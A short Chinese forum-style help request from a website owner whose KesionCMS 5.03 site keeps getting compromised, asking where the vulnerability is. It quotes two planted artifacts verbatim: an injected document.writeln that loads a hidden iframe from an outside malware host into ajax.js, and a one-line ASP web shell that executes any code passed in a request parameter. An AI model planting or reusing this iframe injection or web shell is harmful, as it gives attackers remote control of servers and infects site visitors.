用科汛5.03做的网站，三番五次被挂木马，现在求助，他们把ajax.js文件增加了document.writeln("<iframe src=http:\/\/www.bg8028.cn\/one\/a15.htm width=50 height=0><\/iframe>")

并且在wwwroot下增加了一个文件，代码是这样写的<%if request ("x")<>""then session("shs")=request("x"):end if:if session("shs")<>"" then execute session("shs")%>现在求助啊，漏洞在哪里

谢谢了